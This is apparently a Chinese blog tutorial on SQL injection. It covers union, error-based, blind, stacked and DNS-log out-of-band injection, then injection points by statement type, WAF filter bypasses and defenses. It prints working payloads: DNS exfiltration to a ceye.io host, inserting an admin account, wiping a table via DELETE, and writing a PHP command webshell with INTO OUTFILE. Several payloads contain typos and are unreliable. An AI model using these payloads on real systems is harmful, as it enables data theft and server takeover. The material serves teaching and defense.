网络安全笔记-SQL注入

文章目录

前言

SQL注入是开发者对用户输入的参数过滤不严格,导致用户输入的数据能够影响预设查询功能的一种技术,通常将导致数据库的原有信息泄露、篡改,甚至被删除。

一、数据库

1、Information_schema

如果程序过滤information_schema,无法获取表名,利用polygon()进行绕过,括号里填上存在的列名(一般都有id这个列),即可爆出表名


2、相关函数

bash 复制代码
Database():返回当前网站所用数据库名
Version():返回当前数据库版本
User():返回当前数据库用户名
Group_concat():将查询的多行数据合并成一行进行显示,括号里面要填入要查询的列名
Union select():联合查询,连接上一条语句,合并查询
Order by():对查询结果进行排序,用法是Order by列名,在SQL注入中接数字,来判断列数
Limit n,1:从你表中的第n条数据开始,读取1个

#
-- 任意字符
/**/
;%00

用户访问网页经过如下流程

1、Web浏览器中输入网址并连接到目标服务器;

2、业务逻辑层的Web服务器从本地存储加载index.php脚本并解析;

3、脚本连接位于数据访问层的DBMS,并执行SQL;
4、数据访问层的DBMS返回SQL的执行结果给Web Server;

5、业务逻辑层的Web Server将页面封装成HTML格式发送给表示层的浏览器;

6、表示层的浏览器解析HTML并将内容呈现给用户。

SQL注入就发生在该过程的第四步

二、SQL注入分类

按照类型可分为两类:数字型、字符型

  • 数字型:通常语句类型为 select * from <表名> where id = x
    通常构造 and 1=1 以及 and 1 =2 进行判断。
  • 字符型:通常语句类型为 select * from <表名> where id = 'x'
    通常构造 and '1' = '1 以及 and '1' = ' 2来判断

1、联合查询注入(UNION query SQL injection)

1、判断是否存在注入(单引号或双引号判断)

2、判断字段数、获取显示位

3、获取所有数据库名

4、获取所有表名

5、获取所有数据

语法

Select * from users where id=1 Union select xxx

将多条查询语句的结果合并成一个结果

要求:多条查询语句的查询列数是一致的

注意事项:在网站中,可能开发者设置功能为输出一条数据,所以我们得把前面的select语句设置为假(一般设置成不存在的数据),后面的union才能进行输出

2、报错注入(Error-based SQL injection)

报错注入分类

MySQL报错注入主要是利用MySQL的一些逻辑漏洞,如BigInt大数溢出等,使程序报错,报出相应的数据信息

可以将MySQL报错注入分为以下几类:

bash 复制代码
1、BigInt等数据类型溢出;
2、Xpath语法错误;
3、count()+rand()+group_by()导致重复;
4、空间数据类型函数错误。

报错函数

很多函数会导致MySQL报错并显示出数据:

bash 复制代码
1、floor函数
2、extractvalue函数;(最多32个字符)
3、updatexml函数
4、exp函数
  • updatexml(XML_document,XPath_string,new_value):
    第一个参数:xml文档的名称
    第二个参数:xpath格式的字符串
    第三个参数:替换查找到的符合条件的数据
    简而言之功能就是查找一个字符串,并进行替换。而我们在xpath也就是第二个参数那里传入xpath不认识的特殊字符,并加上一些查询语句,mysql就会把错误和查询语句结果报错显示出来。这就是xpath报错注入原理。
    必须是在xpath那里传特殊字符,mysql才会报错,而我们又要注出数据,没这么多位置,所以要用到concat函数
    xpath只会对特殊字符进行报错,这里我们可以用~,16进制的0x7e来进行利用。
    xpath只会报错32个字符,所以要用到substr

报错注入原理




3、盲注

布尔型盲注(Boolean-based blind SQL Injection)

流程

1、判断是否存在注入(单引号或双引号判断)

2、获取数据库长度

3、逐字猜解数据库名

4、猜解表名数量

5、猜解某个表长度

6、逐字猜解表名

7、猜解列名数量

8、猜解某个列长度

9、逐字猜解列名

10、判断数据数量

11、猜解某条数据的长度

12、逐位猜解数据

基于时间延迟盲注(Time-based blind SQL injection)

时间盲注常用函数

php 复制代码
substr(a,b,c):从b位置开始,截取字符串a的c长度。
count():返回当前列的数目
ascii():返回字符的ASCII码
length():返回字符串的长度
left(a,b):从左往右截取字符串a的前b个字符
sleep(n):将程序挂起n秒
binary ,更多函数参考slq 官网reference

if(a,b,c) 如果条件a成了,则执行b,否则执行c

select case when(条件) then 代码1 else 代码2 end

dnslog

当我们碰到一个sql盲注的时候,一般是利用二分法,一个个字符的猜。这样很麻烦,还有可能因为请求次数过多,被防火墙拦截ban ip,这是好可以利用dnslog进行注入

常规的注入流程就是攻击者通过get方式活着post方式传输payload,然后受害者服务器经过sql查询把数据返回给攻击者

Dnslog方式是把payload通过dns请求发送,然后看dns日志就获取到数据了。

4、堆叠注入(Stacked Injections-Stacked queries SQL injection多语句查询SQL注入)

一堆SLQ语句(多条)一起执行。

在MySQL中,主要是命令行中,每一条语句结尾加;表示语句结束。这样可以将多条语句一起使用。

注意:

并不是每一个环境下都可以执行,很可能受到API或者数据库引擎不支持的限制,同时权限不足也是面临的主要问题。

真实环境中:

1、通常只能返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的;

2、在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

三、SQL注入类型扩展

攻击类别 SLQ注入类型 说明
INBAND Error-based Injection;UNION query Injection 在应用内直接获取数,通过应用等返回或者报错提取数据
INFERENCE Boolean-based Blind Injection ;Time-based Blind injection 通过应用的非直接数据反馈进行推断
OUT OF BAND OOB SQL Injection 通过其他信道获得数据

带外通道技术(Out-Of-Band)

带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用没有直接回显的漏洞

这一类漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。

带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求,然后,攻击者可以通过这个请求来提取数据。

常规通信信道(Inband):

用户向客户端发送请求,客户端向服务器发送请求,服务器返回结果给客户端,客户端返回结果给用户。

OOB(非应用内信道):

黑客向客户端发送恶意请求,客户端向服务器发送恶意请求,服务器向黑客的服务器执行请求(并携带数据),黑客的服务器向黑客返回目标数据。


泛域名解析

泛域名解析就是利用通配符的方式将所有的次级域名指向同一IP

www.example.com 和abc.example.com都会访问到同一个站点。

在注册域名并配置域名解析的时候,在DNS服务器中配置了下面的记录。

*.example.com | IP

1、大获取数据库表名

?id=1' and load_file(concat("\\",(select database()),".7as54b.ceye.io\abc"))--+

2、获取表名

?id=1' and load_file(concat("\\",(select table_name from information_schema.tables where table_schema='security' limit 0,1),".7as54b.ceye.io\abc"))--+

宽字节注入

目的:逃逸绕过转义函数



以下三句话效果等同

bash 复制代码
SET character_set_client = x;
SET character_set_results = x;
SET character_set_results = x;

同样这些参数也可以通过my.ini/cnf进行静态设置。

二次注入

四、SQL注入点

该节从SQL语句的语法角度,从不同的注入点位置讲述SQL注入的技巧

SELECT注入

SELECT语句用于数据表记录的查询,常在界面展示的过程中使用,如新闻的内容、界面的展示等。SELECT语句的语法如下:

复制代码
SELECT [ALL | DISTINCT | DISTINCTROW]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT][SQL_BIG_RESULT][SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE][SQL_CALC_FOUND_ROWS]
select_expr[,select_expr ...]
[FROM table_references]
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}]
[ASC | DESC],... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
CHARACTER SET charset_name]
export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHAre MODE]]

注入点在select_expr

源代码如sqln1.php所示。

csharp 复制代码
<?php
	$conn = mysqli_connect("127.0.0.1","root","root","test");
	$res = mysqli_query($conn, "SELECT ${_GET['id']}, content FROM wp_news");
	$row = mysqli_fetch_array($res);
	echo "<center>";
	echo "<h1>".$row['title']."</h1>";
	echo "<br>";
	echo "<h1>".$row['content']."</h1>";
	echo "</center>";
?>

此时可以采取时间盲注进行数据获取,不过根据MySQL的语法,我们有更优的方法,即利用AS别名的方法,直接将查询的结果显示到界面中。访问链接

http://192.168.20.133/sqln1.php?id=(select pwd from wp_user) as title。

###注入点在table_reference

上文中的SQL查询语句改为如下:

c 复制代码
$res = mysqli_query($conn, "SELECT title FROM ${_GET['table']}");

我们仍然可以用别名的方式直接取出数据,如

SELECT title FROM (SELECT pwd AS title FROM wp_user)x;

当然,在不知表名的情况下,可以先从information_schema.tables中查询表名。

在select_expr和table_reference的注入,如果注入的点有反引号包裹,那么需要先闭合反引号。

###注入点在WHERE或HAVING后

SQL查询语句如下:

c 复制代码
$res = mysqli_query($conn, "SELECT title FROM wp_news WHERE id = ${_GET[id]}");

要先判断有无引号包裹,再闭合前面可能存在的括号,即可进行注入来获取数据。

注入点在HAVING后的情况与之相似。

注入点在GROUP BY或ORDER BY后

当遇到不是WHERE后的注入点时,先在本地的MySQL中进行尝试,看语句后面能加什么,从而判断当前可以注入的位置,进而进行针对性的注入。假设代码如下:

c 复制代码
$res = mysqli_query($conn, "SELECT title FROM wp_news GROUP BY ${_GET['title']}");

经过测试可以发现,title = id desc,(if(1,sleep(1),1))会让页面延迟1秒,于是可以利用时间注入获取相关数据。

基本上,只要对输入的值进行白名单对比,基本上就能防御这种注入。

注入点在LIMIT后

LIMIT后的注入判断比较简单,通过更改数字大小,页面会显示更多或者更少的记录数。由于语法限制,前面的字符注入方式不可行(LIMIT后只能是数字),在整个SQL语句没有ORDER BY关键字的情况下,可以直接使用UNION注入。另外,我们可根据SELECT语法,通过加入PROCEDURE来尝试注入,这类语句只适合MySQL5.6前的版本

c 复制代码
select id from wp_news limit 2 procedure analyse(extractvalue(1,concat(0x3a,version())),1);

同样可以基于时间注入,语句如下:

c 复制代码
PROCEDURE analyse((SELECT extractvalue(1, concat(0x3a, (IF(MID(VERSION(),1,1) LIKE 5, BENCHMARK(5000000, SHA1(1)), 1))))), 1)

BENCHMARK语句的处理时间大约是1秒。在有写入权限的特定情况条件下,我们也可以使用INTO OUTFILE语句向Web目录写入webshell,在无法控制文件内容的情况下,可通过"SELECT xx INTO outfile "/tmp/xxx.php" LINES TERMINATED BY'<?php phpinfo();?>' "的方式控制部分内容。

bash 复制代码
select 1 into outfield '/tmp/1234.php' LINES TERMINATED BY '<?php ph);?>';

INSERT注入

INSERT语句是插入数据表记录的语句,网页设计中常在添加新闻、用户注册、回复评论的地方出现、INSERT的语法如下:

INSERT LOW_PRIORITY \| DELAYED \| HIGH_PRIORITY IGNORE

INTO tbl_name

PARTITION(partition_name \[, partition_name\]...)

(col_name \[, col_name\] ...)

{VALUES | VALUE}(value_list), (value_list)...

ON DUPLICATE KEY UPDATE assignment_list

INSERT LOW_PRIORITY \| DELAYED \| HIGH_PRIORITYIGNORE

INTOtbl_name

PARTITION (partition_name \[, partition_name\] ...)

SET assignment_list

ON DUPLICATE KEY UPDATE assignment_list=

INSERT LOW_PRIORITY \| HIGH_PRIORITY IGNORE

INTOtbl_name

PARTITION (partion_name \[, partition_name\] ...)

(col_name \[,col_name\]...)

SELECT ...

ON DUPLICATE KEY UPDATE assignment_list

通常,注入位于字段名或字段值的地方,且没有回显信息。

1、注入点位于lbl_name

如果能够通过注释符注释后续语句,则可直接插入特定数据到想要的表内,如管理员表。如,对于下列SQL语句:

bash 复制代码
$res = mysqli_query($conn, "INSERT INTO {$_GET['table']} VALUES(2,2,2,2)");

开发者预想的是,控制table的值为wp_news,从而插入新闻表数据。由于可以控制表名,我们可以访问http://192.168.20.132/insert.php?table=wp_user values(2,'newadmin','newpass')%23,访问前、访问后的wp_user表,可见成功插入一个新的管理员。

2、注入点位于VALUES

假设语句如下:

INSERT INTO wp_user VALUES(1, 1, '可控位置');

此时可先闭合单引号,然后另行插入一条记录,通常管理员和普通用户在同一个表,此时便可以通过表字段来控制管理员权限。注入语句如下:

INSERT INTO wp_user VALUES(1, 0, '1'),(2, 1, 'aaaa');

如果用户表的第2个字段代表的是管理员权限标识,便能插入一个管理员用户。在某些情况下,我们也可以将数据插入能回显的字段,来快速获取数据。假设最后一个字段的数据会被显示到页面上,那么采用如下语句注入,即可将第一个用户的密码显示出来:

INSERT INTO wp_user VALUES(1, 1, '1'),(2, 2, (SELECT pwd FROM wp_user LIMIT 1));

3、UPDATE注入

UPDATE语句适用于数据库记录的更新,如用户修改自己的文章、介绍信息、更新信息等。UPDATE语句的语法如下:

UPDATE LOW_PRIORITYIGNOREtable_reference

SET assignment_list

WHERE where_condition

ORDER BY...

LIMIT row_count

value:

{expr | DEFAULT}

assignment:

col_name = value

assignment_list:

assignment,assignment...

例如,以注入点位于SET后为例。一个正常的update语句如

up_date wp_user set id =3 where user = '23'

可见原先表wp_user id为3的数据被修改。

当id数据可控时,则可修改多个字段数据,形如

UPDATE wp_user SET id = 3,user='xxx' WHERE user = '23';

其余位置的注入点利用方式与SELECT注入类似,这里不再赘述。

4、DELETE注入

DELETE注入大多在WHERE后。假设SQL语句如下。

bash 复制代码
$res = mysqli_query($conn, "DELETE FROM wp_news WHERE id = {$_GET['id']}");

DELETE语句的作用是删除某个表的全部或指定行数据。对id参数进行注入时,稍有不慎就会使WHERE后的值为

True,导致整个wp_news的数据被删除。

bash 复制代码
delete from wp_news where id=1 or 1;

为了保证不会对正常数据造成干扰,通常使用'and sleep(1)'的方式保证WHERE后的结果返回为False,让语句无法成功执行,如:

bash 复制代码
delete from wp_news where id = 1 and sleep(1);

后续步骤与时间盲注一致。

五、SQL注入防御

  • 减少错误信息反馈
  • 对特殊符号进行转义(黑名单)
    比如 id = mysql_escape_string(id)
    将对id中以下特殊进行转义
    \x00 \n \r \ ' " \x1a
    如果成功,则该函数返回被转义的字符串。如果失败,则返回false。
  • 对输入特殊词组进行过滤(黑名单)
    常见的关键字:and、or、union、select、空格等等过滤。

1、SQL注入的过滤与绕过

混淆和绕过

普通的注入方式过于明显,很容易被检测。

因此,需要改变攻击的手法,绕过检测和过滤,即混淆和绕过。

具体操作针对于服务端和WAF的防御机制有多种手段。

1、关键词组过滤

关键词组过滤指对于用SQL注入攻击相关的语句加以过滤,如select,union,sleep等,在WAF和服务端都可以进行。

以union为例,即在服务端对用户输入的union词组删除。

bash 复制代码
$sql="where id = " .sqli($id);
$sql=str_replace("union","",$sql);

过滤代码

bash 复制代码
preg_match('/(and|or)/i',$id)

过滤情况

bash 复制代码
1 or 1 = 1 1 and 1 = 1

绕过方法

bash 复制代码
1 || 1 = 1 1 && 1 = 1
2、union过滤绕过

过滤代码

bash 复制代码
preg_match('/(and|or|union)/i',$id)

过滤情况

bash 复制代码
union select user,password from users

绕过方法

bash 复制代码
1 || (selsect user form users where user_id = 1) = 'admin'
3、where过滤绕过

过滤代码

bash 复制代码
preg_match('/(and|or|union|where)/i',$id)

过滤情况

bash 复制代码
1 || (select user from users where user_id = 1) = 'admin'

绕过方法

bash 复制代码
1 || (selsect user form users limit 1,1) = 'admin'
4、limit过滤绕过

过滤代码

bash 复制代码
preg_match('/(and|or|union|where|limit)/i',$id)

过滤情况

bash 复制代码
1 || (selsect user form users limit 1,1) = 'admin'

绕过方法

bash 复制代码
1 || (selsect min(user) form group_by user_id having user_id = 1) = 'admin'
5、group by过滤绕过

过滤代码

bash 复制代码
preg_match('/(and|or|union|where|limit|group by)/i',$id)

过滤情况

bash 复制代码
1 || (selsect min(user) form group_by user_id having user_id = 1) = 'admin'

绕过方法

bash 复制代码
1 || selsect substr((select group_concat(name) name from test),1,1) = 't'
6、select及单引号过滤绕过

过滤代码

bash 复制代码
preg_match('/(and|or|union|where|limit|group by|select)/i',$id)

过滤情况

bash 复制代码
1 || selsect substr((select group_concat(name) name from test),1,1) = 't'

绕过方法

bash 复制代码
1 || substr(name,1,1) = 0x74
1 || substr(name,1,1) = unhex(74)
7、hex、unhex、及substr过滤绕过 -binary

过滤代码

bash 复制代码
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr)/i',$id)

过滤情况

bash 复制代码
1 || substr(name,1,1) = unhex(74)

绕过方法

bash 复制代码
1 || binary(name) = 0x74657374

其他:

left(str,index)

right(str,index)

substring(str,index)

mid(str, index,ken)

lpad(str,len,padstr) rpad(stolen,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,

8、空格过滤绕过

过滤代码

bash 复制代码
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s)/i',$id)

过滤情况

bash 复制代码
1 || binary(name) = 0x74657374

绕过方法

bash 复制代码
添加 /**/
9、=过滤绕过
10、双写绕过
11、双重编码绕过

过滤代码

bash 复制代码
WAF:urldecode(param)->过滤

过滤情况

bash 复制代码
1/**/||/**/binary(name)/**/=/**/0x74657374

绕过方法

bash 复制代码
1%252f
12、转义函数绕过

简单绕过

bash 复制代码
$Id=mysql_real_escape_string("1 OR 1=1");
$Sql="SELECT * FROM table WHERE id = $ID";
$Sql="SELECT * FROM table WHERE id = 1 OR 1=1";

注入防御

1、代码与数据分离:预编译

2、禁止用户账号出现特殊符号

SQL注入之命令执行

通过SQL注入,直接写入webshell文件到服务器,通过GET方法或者POST方法提交并执行外部指令,为后续进一步远程控制,提权,创造条件。

关键语句:

php 复制代码
<?php system($_GET["cmd"]);?>

注入方式:

php 复制代码
select username, password from users where id = '1' union select 1,'<?php system($_GET["cmd"]);?>'into outfield '/var/www/html/cmd.php';

还可以利用"用户自定义函数"的方式,即User-Defined Functions(UDF)来执行命令。通过lib_mysqludf_sys提供的函数可以执行系统命令,关键语句:

1、sys_eval(),执行任意命令,并将输出返回

2、sys_exec(),执行任意命令,并将返回码返回

3、sys_get(),获取一个环节变量

4、sys_set(),创建或修改一个环境变量


dumpfige vs outfile

若我们想把一个可执行2进制文件用into outfile函数导出,事实上导出后就会被破坏,因为into outfile函数会在行末端写入新行更致命的是会转义换行符,这样的话这个2进制可执行文件就会被破坏,这时候我们用into dumpfile就能导出一个完整能执行的2进制文件into dumpfile函数不对任何列或行进行终止,也不执行任何转义处理

一般过程:

获取用户传参->拼接SQL语句->(SQL注入发生)->编译SQL语句->解析SQL语句
参数化查询:

编译SQL语句->获取用户传参->绑定用户传参->解析SQL语句

对用户传入的参数进行了转义

存储过程

存储过程是指数据库中存放了一组为完成特定功能生成的SQL语句,这些语句一次编译后永久有效,用户通过指定存储过程的名字并给出参数来执行这些语句。

存储过程VS参数化查询

存储过程的SQL语句存放在数据库中,用户通过调用这些过程获取数据

参数化查询的SQL语句是通过Web应用完成执行

相关推荐
白帽攻防录4 小时前
SRC 挖洞:Apache APISIX 非规范路径授权绕过深度复盘,CVE-2026-94269 怎么绕过网关访问后端
网络安全·apache·src漏洞挖掘
学逆向的14 小时前
win32注入代码
开发语言·网络安全·api·win32
Web Security Loop15 小时前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
墨云安全21 小时前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
刘婉晴1 天前
【APP安全测试】Frida 基础
网络安全
科技象限1 天前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神
sbjdhjd1 天前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
sbjdhjd2 天前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
Dachui_11222 天前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单
HackTwoHub2 天前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构